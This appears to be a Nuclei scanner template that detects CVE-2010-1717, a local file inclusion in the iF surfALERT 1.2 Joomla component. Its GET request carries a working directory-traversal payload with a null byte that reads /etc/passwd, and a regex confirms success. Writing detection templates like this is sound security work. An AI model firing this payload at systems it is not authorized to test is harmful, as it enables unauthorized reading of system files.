id: CVE-2010-1717 info: name: Joomla! Component iF surfALERT 1.2 - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the iF surfALERT (com_if_surfalert) component 1.2 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php. remediation: Upgrade to a supported version. reference: - https://www.exploit-db.com/exploits/12291 - https://www.cvedetails.com/cve/CVE-2010-1717 tags: cve,cve2010,joomla,lfi classification: cve-id: CVE-2010-1717 requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_if_surfalert&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0" - type: status status: - 200 # Enhanced by mp on 2022/02/15